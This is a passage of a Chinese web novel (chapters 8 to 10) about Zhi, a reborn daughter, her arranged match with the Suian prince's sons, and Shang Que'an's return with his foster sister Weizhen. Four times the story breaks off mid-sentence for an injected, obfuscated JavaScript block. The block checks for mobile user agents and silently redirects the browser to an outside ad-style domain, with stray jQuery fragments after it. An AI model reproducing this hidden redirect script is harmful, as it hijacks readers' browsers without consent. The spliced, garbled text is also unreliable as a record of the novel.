这二人之间的关系肉眼可见的好了起来,从前是濉安王单方称呼妧嵘的字,如今已是有来有往了。
“阿枝。”濉安王陡然道出她的名,“三郎四郎应当有妥当照顾你吧?”
“若是这两小子冒犯了你,尽管与我来说,本王自会教训他们。”
“你可是日后本王的儿媳妇,得罪谁可都不能得罪了你。”说到此,濉安王与妧嵘意会一笑,仿佛已经到了成为亲家的那天。
王府门前,妧家的马车靠拢过来,将一前一后的主家跟女郎接走。
马车中,妧嵘示意妧枝将她怀抱的画卷拿过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082170|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“你可知,这是什么?”
若单看,这就是一幅画,出自名家之手。
但妧枝知晓妧嵘的脾性,他既然问了她,事情就没有那么简单。
果然下一刻妧嵘道:“这是濉安王给我们妧家的先遣聘礼,只要你从李三郎李四郎中挑选出一个合适做你的夫婿,那么日后他们就会三书六聘把你迎进门。”
“你可不要小觑它的价值,这都是先圣遗物,也只有宗室宝库才能拿得出这些好东西,哼。”
还算濉安王有心,知道他瞧不起那些身外之物,故此才用这些文雅的来聊表心意。
然而一抬头,对面坐着的女郎却好似没有半点反应,波澜不惊。
他眯眼,“你难道,不满意李家三郎四郎,还在为王府里那位大郎君感到挂念?”
送走妧家人后,濉安王负手转身,如同了却了一桩心事,问:“王妃呢?”
跟着他的长随道:“在后院里。”
“三郎跟四郎怎么没陪在妧家娘子的身边?他们今日相处的怎么样?”
在这里,到处都是眼线。
长随回应,“据奉茶的婢女禀告,方才小郡王来了,带来了老夫人,王妃这才让三郎君四郎君过去。”
“至于妧娘子和三郎君四郎君,瞧着倒没什么不对付的,今日还坐了秋千,四郎君推她,三郎君唤了食水……”
“好了好了,本王只是想知晓他们进展可顺利,这些小儿女家的东西就不用说了。”
“是。”
走了没两步,濉安王蓦然停下脚步。
“等等,你是说哪里的秋千?陈翠园还是崀山苑,还是?”
“是叠翠轩里的。”
叠翠轩……那不是草玄堂那边,什么都看清了?
秋千从轻盈晃荡,到人走茶凉,又变得形单影只。
妧枝等人走后,那里恢复了原来的寂静,剩下的只有安排洒扫清理痕迹的下人。
枕戈扒在院墙边的窗户旁,透过空隙瞪着原先扰人清净的地方咒骂,“呸,可算走了。”
“明知郎君惯常喜欢在这边办事,偏还要带不相干的人来,三郎君跟四郎君安的什么好心,自个儿心里清楚。”
“以为郎君看了就会觉得膈应,呸,也不想想大郎君同那位妧娘子熟不熟,面都没见过几回,谁会在意?”
又有人从屋里出来,“好了,你还在这骂什么?大郎君有事叫你,别耽误了正事。”
“哼。”正了正衣冠,枕戈绕过同为下属的披甲进去。
“大郎君,你唤我?”
枕戈观察商榷安的神色,主动道:“外边讨嫌的人都走了,大郎君可放心出去,下回绝不让他们再来这边。”
“我不是吩咐你这个。”似是半点不感兴趣,商榷安拧眉,“去查查妧嵘做了什么,让王爷另行主张。”
“是。不过还好今日是一场乌龙……和妧家那娘子相看的不是大郎君,不然唯真娘子那里可就徒惹她伤心了。”
在收到凛然警告的目光后,枕戈迅速遁走。
留下商榷安对着门打开后,叠翠轩里秋千的一角看了一眼,然后淡淡收回了视线。
与上辈子的轨迹开始变得不同了。
但,他似无心去管这种变化。
回来后他也有想弥补的遗憾,就这样桥归桥路归路,大路朝天各走一边吧。
8.第 8 章
马车中,面对妧嵘挑剔的审视,妧枝清冷的抬起头,“阿父好像又在说胡话了。”
如果还对商榷安有一丝挂念,她又何必在东林寺避而不见?
冷冷的双眼回视了他,妧嵘哼道:“如此甚好,原先把你想配给这位大郎,是因为他如今是官场中的后起之秀。”
“可你竟然相不上他,还是对整个王府不满?亦或是你心里有人啊?”
妧枝冷然:“亲事安排太快,我还没有准备。”
妧嵘挑眉,“你如今十九,超过及笄三年,再不准备就要二十几岁,你还想再家中待上几年?你难道不知女子容颜易老,等你做好准备,还有上好佳胥等你成婚不成?”
“痴心妄想。”
越说妧嵘越感到遗憾,“商大郎前途似锦,未来不可估量,可你硬生生浪费了这桩好姻缘,实在是没什么福气。”
“罢了罢了,只要你这回不要再作怪就行。”
妧枝任由他怎么说,仿佛都不为此感到惊慌心虚。
在所有人眼中,商榷安的确是个良婿,那是因为论资质,他有才学、才干,他还年轻,在官场中甚至还能说得上话,有自己的权势。
他比白身子弟,和背靠祖荫庇佑的没有加官授爵的人简直一个天上一个地下。
但是妧枝一意孤行,浪费了这个好机会。
现在好了,人家商大郎那边也根本无意这门亲事,莫说这是什么巧合,在妧嵘看来,这不过是代表着妧枝命里是该没有这等福气,是有缘无分!
不懂得珍惜!
回到妧家,平氏在堂屋里等着妧嵘他们归门,翘首以盼。
在门口见到从远到近的身影,还没走到门槛,平氏就已经迫不及待迎了上去,用充满希冀的眼神看着他们,“如何?”
妧嵘对发妻向来不会和颜悦色,总是把持着姿态,高高在上,即使有喜事也要端着架子。
他掂了掂手里的画卷,高深莫测地指给平氏看。
“这是?”
平氏疑惑,妧嵘又指了指妧枝手腕上的玉镯,微露一点鄙薄且得意的笑意。
“这是成了?”平氏惊叹,能让妧嵘带回来的肯定是好东西。
他这个人喜好非富即贵的事物,还得不俗,要求风雅。
画卷且瞧不出什么,但妧枝手上的玉镯,却是可以换成真金白银的东西。
“这是王妃给的?”平氏靠近妧枝,端起她的手腕细细打量。
“这些都是那边以示诚意,给的信物。”妧嵘让下人过来,把画卷送去他的书房,这是他看上的好物,不会随便放在桌上,也不会随意给别人看。
接着他转头对平氏道:“今日濉安王安排了他府里的三子四子与阿枝相看,成不成暂且另说。”
“这最终选谁,我还得再观摩一段时日,让你阿女且先与他们相交着,待我做下决议,再与濉安王定夺。”
显然,他并不打算将选择权交给妧枝。
而妧枝的喜好不过是用来搪塞的场面话。
平氏在旁是不敢有异议的,她只拉着妧枝,用高兴又暗藏忧虑的眼神看着她,“你阿弟今日突然奋发用功,去书塾请教才学好的学生,如何读好书了。”
她只敢小声说点能让妧枝高兴的话,然后拼尽勇气决定,“你先按照你阿父说的做,看看李家的三郎好还是四郎好。”
“若是有你的喜欢的,我,我届时就帮你跟你父亲求求情,让你嫁给他。”
妧酨有父亲在,是历届探花又是侍郎,却是最不敢去请教妧嵘的。
对方只会打他骂他,蠢笨如猪,认为不是他生的种,他如此英才,怎么会生下这么个废物?
唯一的儿子叫他失望透顶,妧酨绝不会上赶着到妧嵘身旁找骂。
这消息的确让妧枝嘴角微微泄露了一丝笑,“那很好。”
只要妧酨肯悔改,妧枝相信这辈子她不会让他重蹈覆辙。
平氏连日来终于得到长女一个好脸色,不禁也笑了,甚至不由自主想要讨好妧枝,“你们回来,可曾在王府用过午食?”
妧嵘横眉冷眼睇过来,“今日上门相谈也就算了,怎么还能留在旁人家中不知廉耻地留下用饭。难道自己家中没有?那也忒下贱了!”
平氏脸色发白,被说得嘴唇哆嗦,“我,我这就去把吃食备来。”
平氏一走,只剩妧枝与妧嵘相对。
妧嵘下巴一抬,“没你的事了,你也下去吧。”
妧枝不动,直到妧嵘疑惑地看向她,“你还有什么话要说?”
“有件事想阿父清楚。”
妧枝:“还请阿父对我阿母好些,像方才那样的指桑骂槐,非羞即辱的话,最好不要再有了。”
妧嵘皱眉,似是一时半会难以理解妧枝的意思。
“你是什么意思?你是在对我这个做父亲的不满吗?”
他脸色一瞬间变了,声音也变得严厉起来。
但妧枝没有被他吓着,像这样的场景,她已经历经千百回了。
“我只是告诉阿父,不要再对我阿母大呼小喝。”
“还有若是想我乖乖听从安排,好好达成与王府的亲事,就保留她一丝体面……”
她说着,走到门口,回头,“不然我也不敢保证会不会像上回那样,竹篮打水,一场空。”
……
王府茶香袅袅,午食过后,濉安王妃与吃过饭的其他众人挪步客厅,静坐吃茶。
“今年的新茶,请阿姑享用。”
“滋味儿回甘,叶片清香,倒是好茶。”
一饮下来,被唤作“阿姑”的老妇人放下杯盏,笑看向濉安王妃和她身边的子女们,“你瞧瞧,你这府上多热闹,就差几个孙儿膝下缠绕了。”
她示意身边坐着的一个男子,“你可也要加把劲儿。”
濉安王妃笑道:“阿姑可不知,这热闹是热闹,可也费心。”
她指指奉命过来陪同的李家二子,告状似的道:“您瞧瞧,这两个家伙,打搅了他们的好事,叫他们来,竟还有几分脾气,说没把人陪好。”
“什么人?莫非是我们上门,坏了你们的好事?”
濉安王妃随即偏头,示意两个儿子,让他们自己开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095958|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口。
李屹其先道:“回姑祖母,是家中为我和三阿兄相了一门亲,今日对方登门拜访,我们在叠翠轩陪着。”
“不过,倒不像阿母所说那样,是因为没陪好那位女郎而不快,而是觉着对娇客招待不周,略有些担忧。”
周老夫人兴致瞬起,“哦?这是什么时候的事,好啊,竟也未曾和我说。”
“相的是谁家的女郎?”
“家世、人品如何?”
说着,情不自禁往旁边的人影看了一眼,“你快听听吧?你三表弟、四表弟都在议亲了,你还要等到什么时候去?”
“整日侍弄些花花草草,吟诗作对又有什么用?还是打算与你那些文人骚客之流过一辈子?真是把自己当和尚,素习惯了。”
“哎呀,阿姑。”
濉安王妃安抚,“可不要说郡王了,常珽他一直都想找志投意合的女子,这娶妻,自然是要娶合心意的嘛。”
“急是急不来的。”
被众人看着的历常珽出乎意料,不似旁人想的那样,被说得颜面无光。
而是在周老夫人座位旁,手持一把扇子,一副文雅之士的模样,面带微笑扇了扇,“还是小姨母说得对,缘分不可强求,真要来时,可挡也挡不住。”
“三表弟和四表弟,这不就是姻缘到了吗?”
历常珽拱手,“表兄我在此就先说声恭喜了。”
李家二子同时回礼。
“多谢表兄。”
未能说动自家孙子,周老夫人哀叹一声,改为向濉安王妃打听。
“你还未说,是哪家的好女啊?”
濉安王妃:“是中书侍郎,妧嵘之女。”
“妧嵘……姓这户人家的可不多,其父可是当年探花?”
周老夫人似是有所耳闻,记忆犹新,“当年长街打马过,这位妧侍郎的风采可是鼎鼎有名啊。”
“哎呀,那他家女儿,应当也差不到哪里去?”
说着,盯着濉安王妃和李屹其李含翎等人的表情细细观察。
得到的答案不是点头,就是微笑,只可意会不可言传。
这不禁令周老夫人更为好奇起来。
“也不知什么时候能见一见此女?”
知道这位姑母是个心焦的,濉安王妃道:“阿姑稍安勿躁,想要见此女又有何难?”
“一场宴席的事,等下回再请她来,我就提前知会阿姑,让你来做客可好?”
“哎呀,那还是快请吧,侍郎之女,长得什么模样我也想见一见。”周老夫人:“也好代你们掌掌眼,瞧瞧她相貌品行如何。”
李屹其答应:“是,等时机适宜,我就去帖相邀妧家娘子来聚。”
周老夫人:“好,好,这样也好,可别唐突了人家。”
“等事成之后,你阿母啊,也帮常珽看看哪里有合适的,不然他一直不成婚,我这心里总是放不下。”
“就找个像书香门第,有门风渲染的女子,总该合他心意了吧。”
在此时,被点名道姓谈及私事的历常珽,手拂扇穗,不甚在意地笑了笑。
9.第 9 章
窗外梨花飘香,吹落到屋檐下窗台上,令屋中桌台边缘都堆积了一层白色雪山。
“女郎。”
下人冒着梨花雨前来,定睛一看,就看到室内的女子手执一把小匕在扫“雪”。
寒春袭人,内里还烧了炭火。
将洒落的花瓣都扫进一个瓷钵里,打算做一些梨花膏,妧枝抬起盛丽的面孔,问:“何事?”
下人上前,双手奉上,“是濉安王府,一早派人送来了请帖。”
距离上回登王府的门,已经过去两日。
按照上辈子的进展,在妧枝与商榷安还有婚事在身时,亦是差不多这时候王府那边有人相邀。
只是这回写请帖的人,不是所谓的商大郎君,而是他的弟弟,李三公子。
李屹其在信上说,上回匆匆一面,未曾招待尽兴,想邀妧枝再次上门做客,恳请她赏脸。
阅完信,思量之余,下人在旁问道:“女郎,可要捎口信?”
“王府来的人,还在正堂等候着。”
亲事虽未真正定下,也算过了明路。
妧嵘与她都拿了王府那边的先遣聘礼,妧枝未来王府儿媳的身份是跑不掉了。
这种邀约必然得赴,否则妧枝不去,就连平氏也会过来问罪。
好处是,这回她不用再以未婚妻的身份,面对不喜欢她的商大郎君。
二人在见面时只有她一个人试图和他交谈。
每每回应她的是那张冷脸,等到时辰一到,就迫不及待借口有公事要办,脱身而逃。
妧枝:“去捎,就说请帖收到,我会赴约。”
惊蛰已过,正值春分。
隔日一早,妧枝梳洗打扮后来到前堂正厅。
平氏得知这次妧枝单独上门,特意给她绣了新的荷包,挂在那款细腰上,沉甸甸的。
一看就知里面应是塞了东西,“你身单力薄,不常在这些勋贵人家走动,要知道,这些府上人家的下人都是需要打点的。”
“你带些钱防身,也好办事。”
妧枝摸了摸上面的刺绣,针线精密,图案秀美,一看就是平氏的手法。
“多谢阿母。”
“你还与我客气?”平氏脸上洋溢着喜气,“我呀,一想到你将来能嫁个好夫婿,阿母打心里觉着高兴。”
饭桌上,妧嵘不在,只有妧柔和妧酨,捧着碗朝长姐看来。
“阿姐,我也想去。”妧柔:“王府是不是好大呀?里面的下人,是不是比我们家所有人都多?”
妧酨初一触及妧枝的眼神,就想逃避,“阿,阿姐,我我……”
“我已经知道悔改了,这,这次请教了同学,已经已经在读《周易折中》和《礼记》了。”
这两本书早在妧酨同样年纪的学子中,早已经通晓通读了,甚至进程快的都已越过《尔雅》《说文》,去读更深奥厉害许多的古文、名家的文选。
但妧酨始终是慢人一步,上辈子他就已经证明,妧嵘的读书天分当真没有遗传到他。
他不是读书的料,而这辈子妧枝也并非要他读出个花样来。
而是要他不要再像上一世那样,浑浑噩噩度日。
即使读不懂,也要读,通晓个为人处世的道理。
“你肯用功,自然是好的。”妧枝音色冷淡,听在妧酨耳朵里,依旧莫名的高兴。
“那,那我们是不是快要有姐夫了?”
阿姐肯答应自己,让妧酨有了胆子和她说话。
只是此话一提,好像惹了长姐不快,妧枝闻言目光瞬间冷了下去。
她挑了下唇,有一丝讥讽,“我觉得,与其关心他人,不若多关心关心你自己?多锻炼一下身体,妧酨,你身板太弱,日后如何护住阿母和妧柔?”
对妧柔,妧枝又是不一样的样子。
“阿柔,这次是去办正事,下回我再带你去玩。”她碰了碰妧柔的小脸,帮她把鬓边的碎发捋了捋。
妧柔:“我听阿姐的,阿柔等阿姐回来。”
平氏催促,“好了,喝完了粥,就早些去吧,莫叫人等。”
妧枝起身,容色已经微冷。
曾经,妧酨也十分崇拜尊敬有个商榷安那样的姐夫,但他是个傻子,没变成傻子之前亦是个蠢货。
别人瞧不上他,瞧不上有他这样的小舅子。
妧酨还要嬉皮笑脸的贴上去,一声一句讨好地唤着“姐夫”,可换来的呢,不过是一道冷眼,一句“小妧郎君”。
连个公道都不曾帮忙讨,这样的“姐夫”,又算得了什么呢?
王府。
妧府的车马一到,下人就出来接了。
“妧娘子。”
红墙绿瓦的院墙内,为了招待今日的客人,府里上下都清扫了一遍,还换了屋中角落里的绿鹦鹉花瓶。
幕帘上的珠子日前还是珍珠的,如今就已经换成了碧玺玛瑙,地毯从贡品与古董茶盘皆换了不同的样式。
处处堪称精细。
妧枝下车后,从大门外被管事婆子迎进门到走到宴客的茶厅,一路走来蓦然觉得今日的王府,气氛与往日不同。
很怪。
进去后,除了她和管事婆子,没有别人。
接着,管事婆子领她坐下后,道:“还请妧娘子稍作歇息,我去倒茶。”
然后就不见踪影。
妧枝初时以为是巧合,然而再过去半盏茶的功夫,依旧等不到来人,便意识到她的直觉没有错。
放在哪都没怠慢上门客人的道理,上一世妧枝亦不曾受到这样待遇。
即便商榷安不来,也会有婢女陪伴在她身边。
但是这回,不光邀请她来的李屹其没出现,就连与他不相上下的李含翎竟然也不在。
远处,茶厅外的屋檐下,在妧枝看不到的视野里,站着两个还在往里窥探的身影,旁边静立着等候吩咐的婢女。
“阿姑,看见了吗?就是她,中书侍郎的长女,妧枝。”
周老夫人伸长了脖子,一时未答。
从妧枝进门起,王府内都收拾的十分华贵,添了鲜花,既有春色,又有瑰丽。
看着这个女郎从前门到正堂一路走来,竟不输半点艳色,真是叫人眼前一亮。
濉安王妃朝旁边看了一眼,见状不禁小声笑道:“阿姑,收敛些,即使小娘子瞧不见我们,可你也太聚精会神了些?”
“有这么好看吗?”
熟料周老夫人透过窗,盯着屋里的倩影,只喃喃道:“你这儿媳找的好,竟生得这样妙。”
若是……
若是……,周老夫人心念一动,不该说的话淹没在喉咙中。
“我今日来做客,你们可曾与她说?若是未通消息,岂不是莽撞了。”
濉安王妃一无所觉,不甚介意地说:“不,就说你是家里的长辈,又不是外人,如何见不得?只是,还请阿姑做的别这么打眼就行了。”
“否则,叫人一见,好怕人呢。”
这一看就知,这未来儿媳的人选,连阿姑这般精明的人都挑不出毛病来,倒是让濉安王妃感到宽慰。
本身,这原来是王爷给商榷安相看的妻子。
这个儿子,自小不长在他们膝下,于是想从婚事上补偿他。
妧嵘虽然官职不高,却在同僚中有一席之地,且商榷安已经做了官,听从圣上差遣,无需再要一个官位比他高的丈人。
不然就是处处受制,妧嵘这般最好,结果对方并不领情。
说是心有所属,问他是谁却也不答,只能让这桩亲事作罢。
而让三郎四郎接手,岂不是吃人剩下的?
好在,这个妧枝自己倒是争气,模样标致,举止有度,至少在外人面前都受夸奖,让濉安王妃心中也好受不少。
这才勉强接受了她。
妧枝久不见人来招待,独
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099939|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐在厅堂里倒也不慌。
只是觉着稀奇,且她还感觉到似有不止一道目光在看她。
是观察,亦是打量,但妧枝逡巡一圈室内,并未查探出什么异样。
正当椅子上闲坐的她起身准备查探时,忽而外面又有了新的动静。
“王妃马上就到,还请妧娘子稍候。”步履匆匆好似跑来的婢女在门外道。
妧枝站在原地,只觉得这些话仿佛是在制止她出去。
不多时,濉安王妃的身影便出现在眼前,但她身边还多了一位素未谋面的老妇人,衣着华贵,不失身份。
“阿枝,你来了。”濉安王妃招呼道。
妧枝行礼:“见过王妃。”
“客气了,叫你久等了。”濉安王妃扶着心口,缓缓平静着呼吸,因急急赶过来,以至于她面色都红润了几分。
主动介绍起身边的妇人,“这位是三郎和四郎他们的姑祖母,周老夫人,她今日是来府里做客看望我的,你且尊称她一声‘老太君’便是。”
妧枝朝对方看去,却发现这位“姑祖母”也正笑意盈盈地盯着她。
不知是记忆出现差错,还是因与她议亲的人变成李家三公子四公子。
待妧枝看清周老夫人面孔,可以确认,她的确未曾见过对方。
上辈子只在与商榷安谈婚论嫁之时,有一回来王府做客,听见濉安王妃哭,直到下人说起才知原来是有一位姑母去世了。
王妃正在伤心,不好打扰。
妧枝便没在王府多待,且就算是后来跟商榷安在一起,对方对她姿态颇为冷淡,基本不会谈论过多私事,俨然不打算将她看作是自己人。
于是妧枝对此一无所知。
此刻她反应过来,去世的莫非就是这位……?
可观周老夫人面向,对方气色皆宜,并没有灰败的病气。
妧枝:“见过老太君。”
“你就是妧枝吧?”
“真是个绝妙的人儿。”周老夫人面带笑容,拉住她的手,“以前怎么就未在京中见过你呢?”
她感叹,此话一出,连濉安王妃都惊讶地朝她们一瞥。
“家可就在京中?是在御街还是在烽火塔楼那边?家里,有几口人啊?”
就在周老夫人细问不断时,濉安王妃微蹙着眉,却微笑着道:“真是稀奇了,难得见阿姑对小娘子这么上心。”
“那是因为我看她与我投缘。”
濉安王妃:“也是,我也觉着阿枝与我们王府有缘的很呢,这才让三郎和四郎与她相看。”
像是生怕妧枝被人抢去,濉安王妃同周老夫人笑盈盈地对视。
随后扭头对妧枝道:“方才叫你一人在这里,不是故意怠慢了你,而是三郎和四郎半个时辰前,不巧出去了。”
“听闻食道坊那边开了一家新的酒楼,里头的糕点师傅是外邦来的,做法与我们京都有着不一样的精细,想着你要来,提前放凉了,又不好吃。三郎便亲自去了那家酒楼一趟。”
“四郎说是有礼物想要赠予你,也出了门,不知怎么竟耽误到这个时辰没回来,你且在家和我们一起吃吃茶,慢慢等着吧。”
周老夫人亲切地问:“与我们在一起,不会嫌烦闷吧?”
妧枝赠予微笑,“不会。”上一世她被许配给商榷安,但因商榷安并非长在濉安王妃膝下,她这个大儿媳也就不得濉安王妃喜欢。
不过倒也未曾多加折磨,大抵都是公事公办,较为冷淡而已。
今世可不一样了,她相看的人变成了李屹其与李含翎,这意味着濉安王妃待她会亲近许多。
就在此刻,先前出去的管事婆子进来道:“回来了,回来了。”
濉安王妃:“胡叫些什么?是三郎和四郎回来了?”
“不,王妃,”管事婆子面色古怪,似是逼不得已,才走近了道:“是大郎君,他带回来了一位女子,就在门外。”
10.第 10 章
管事婆子话落,茶厅里的气氛瞬间静了。
只有周老夫人不知这意味着什么,濉安王妃也不知自己是怎么了,竟是下意识先看了妧枝一眼。
“你说什么?什么女子?叫什么名字?”
王府谁人不知,与妧家先议亲的是大郎君,两家最属意的也是大郎君和妧娘子在一起。
可谁知,这两个好似天生就有缘无分,明明有媒妁之言,称得上天作之合。
奈何相看那天却都硬生生被彼此破坏了。
亲事虽然不成了,但是原本相看过的事实,却做不了假的。
如今让妧枝听见,岂不尴尬?
管事婆子:“这,大郎君不让近身,对那娘子照顾的很,我,我也没听清。”
“没用的东西。”濉安王妃没好气地道,斜睨了管事婆子一眼。
意外的是,她余光瞥见坐在另一旁的妧枝,神色竟是冷淡,半点也不惊讶的样子。
于是追问:“他们现在人呢?”
“正,正往这边来呢。”
濉安王妃发话,“去把人请过来,就说我有事要问他。”
管事婆子一走,周老夫人不再做壁上观,好奇道:“你这是怎么了?怎么突然这般大火气。”
濉安王妃有口难言:“不,姑母,你是不知……”
碍于妧枝还在,濉安王妃到底没有说出口。
论起亲事来,实则王府这边还亏欠着妧家,妧家一直想与王府结亲,东林寺那天,众人一致认为是时机不当,不凑巧,才让妧家娘子和王府大郎都错过了。
奈何事后人家妧家还来登门道了歉,想要继续这门亲。
如此有规矩,可他们这边却有人反悔了。
眼下妧枝在王府做客,那边却突然带回来一个女子,可不就代表商榷安没瞧上她?才有意拒了这门亲事。
若是妧枝回去告状,让妧家的知道了如何作想,定然会先责怪他们王府未曾弄清楚,乱点了鸳鸯谱。
难不难堪?
濉安王妃接连哀叹了两声气,在周老夫人注视下,始终还是什么都没说,摇了摇头,“阿姑就别问了,还是先吃点果子吧。”
“阿枝,你,你也尝尝。”
事已至此,别无他法的濉安王妃只能这般安抚人心了。
门口不多时就有了人影。
除了管事婆子,便是年轻有为的商大郎君,与一位身姿绰绰的女子逐渐走近。
众目睽睽下,都看到了商榷安对那女子照顾有加,不仅让她走在了自己跟前,还提点对方要小心脚下。
手贴心地扶在背后,免得那女子摔跤了。
在二人进来以后,身后背着光,即使如此,妧枝还是看清了商榷安身旁女子的脸。
她生得花容月貌,眉眼清丽,甚是秀婉可人,与身旁风骨峭拔的男子站在一起,一个宛若枝上花,一个如同松柏苍山。
真是相得益彰。
若是平氏此刻在这里,定然能一眼认出,这就是曾经在东林寺议亲那日,在树下花坛旁看到的那个女子,身边的人无可置疑,就是商榷安。
也就证明,那天他并不是真的有事,而是去陪了别人。
好在妧枝从上辈子回来得及时,坚持不去观音殿,否则就要自取其辱了。
“榷安,你这是?”
濉安王妃不明所以地看着他们。
今日,亦称得上是这一世的妧枝和商榷安这么近的待在一个地方。
但是商榷安并未对妧枝投以过多目光,或者说,他从刚进来就一副目不斜视的样子,眼神只在濉安王妃和周老夫人身上一扫,便道:“还请王妃勿惊,这位是前殿阁大学士濮国公的女儿,唯真,来与王妃行礼。”
“还有这位,是周老太君。”
被叫到跟前的女子眨着灵动的眼睛,依从地向二人问好,“唯真见过王妃,见过老太君。”
见完礼,她还好奇地往妧枝那看了看,似是不懂为何商榷安没有向她介绍。
但她足以听话,商榷安怎么说她便怎么做。
濉安王妃就在此刻张了张嘴,“你是濮国公之女……?”
她的惊讶并非虚张声势,而是这濮国公是别人也就罢,但偏偏,前殿阁大学士,问鼎朝堂的濮国公,乃是商榷安曾经的养父。
这么说来,这位唯真娘子也就是商榷安曾经在养父家的妹妹。
“你,你都这般大了?”
在商榷安被过继出去那年,濉安王妃只去过商家一次,商唯真年纪尚小,后来就再没有见过。
直到去年,商榷安被认回王府,身边不见他人,濉安王妃便没有多问。
今日如同看穿她的疑惑,商榷安道:“养父去世,唯真十分伤心,一直在庄子里养身子。”
“但那个庄子近来不太平,歹人作案,伤及无辜,我担心她的安危,便将她接来到府上住。”
原来如此,原来如此。
上辈子妧枝就如不知道妧嵘养在外宅的妇人是谁,同样也不知道商榷安心有所属的到底是哪个女子。
他身边从始至终只有一个异父异母的妹妹。
差不多在这时候商唯真就在王府里住着了,妧枝当时还以为她从小就在这府里长大。
这里的下人对她比对妧枝还要仔细认真,恭敬有加,商唯真还唤她嫂嫂,妧枝当时真以为她们两个就是姑嫂的关系。
但是屡次,商唯真跟妧枝在一起,商榷安都会出现,眸似寒星,略有不喜。
很快就会找理由,让人把商唯真叫走,然后与妧枝相处不到片刻,就把她打发了。
婚后这般亦是常态。
几年下来,妧枝与商唯真关系一直保持不热络的状态,且在妧枝跟商榷安圆房后,商唯真就从王府里搬了出去。
起初,妧枝怀疑商榷安,在商唯真搬走后就不怎么归家,是否如妧嵘一样,在外面养了其他妇人。
但是她找的去查探消息的人都说没有,商榷安的确除了办差上朝,偶尔会去看看商唯真,就不曾去过别的去处。
是以,她光是知晓商榷安心里有人,却不确定到底是不是她。
也许她曾经看出了端倪,被因假象自我蒙蔽了,认为他们不过兄妹情深,自小长大的情谊深重。
如今,她什么都明白了。
兄妹情深,的确是“情深”,但却是男子对女子那种感情,而非血脉亲缘。
商榷安的心上人,是商唯真。
旁边的视线颇为古怪,商唯真不禁又看了妧枝一眼。
那个第一次见的面色清冷的女郎勾了勾唇,避开他们的目光,漠不关心地把头偏到一旁,仿佛窗外树上有什么吸引了她。
之后再没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112162|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有将视线投向他们。
濉安王妃:“既然是庄子上不好,的确该尽快搬走,但你想将商娘子安置在府上哪个院子里?”
“西厢房是你二妹妹三妹妹在住,喜鹊院是你大妹妹的院子,你若放心让她们做个伴,就……”
然而商榷安竟将她所提建议都否决,“不必那么麻烦,让唯真搬去书行居即可。”
“书行居?那不就是你的住处,这……”
濉安王妃似在犹豫,思量这是否合符规矩。
论理商榷安曾是商宗平的养子,即使被认回来,也是商唯真的异姓兄长。
所以即是兄妹,住在一起倒也没什么不对……
就在这时,旁边有说小话的声音传来,不禁令正在安排商唯真落脚去处的濉安王妃朝她们看去。
她眉头轻拧,仿佛不愿看到此景,不由地小声抱怨了句,“阿姑对妧枝真是太殷勤了……”
这让一直有意忽略旁边动静的商榷安微微侧目。
只见这位身份上亦是他长辈的周老夫人,搭起了身旁女子的手,端了一碟茶点,拍了拍她,让她吃。
妧枝惊讶地向周老夫人望过来,随即捻了一小块,素手芊芊,笑靥让如玉质般清冷的五官,生动而昳丽起来。
“好吃吗?我见你总望着树上,外边的鸟儿叫得恼人了吧?”周老夫人打趣地笑道。
那个曾经嫁给他的女子,在这一时一无所知地回应:“好吃,老太君也尝尝。”
她掰了一半,就这样分给周老夫人。
像是要打破这和谐静谧的气氛,濉安王妃忽然提高嗓音道:“那,就让唯真娘子住在你那院子里。”
那边果然被吸引,妧枝和周老夫人都投来目光。
商榷安静静看了她一眼,便挪开了眼神。
然而濉安王妃不止如此,借机道:“你和唯真还没有见过妧娘子吧。”
眼下李屹其李含翎不在,年轻人不多,要想扯开周老夫人对妧枝的关注,便只有多两个外人掺和进来。
濉安王妃:“妧娘子以后便是你的弟妹了,总要打声招呼,不然将来做了一家人,谁都不认识谁。”
即便知晓商榷安和妧枝差点成功相看,濉安王妃还是这般道,然后又笑拉过商唯真的手,“唯真,你也来,我为你引荐。”
“这位是妧娘子,其父乃当朝命官中书侍郎,阿枝,这是商娘子,她是榷安的妹妹。”
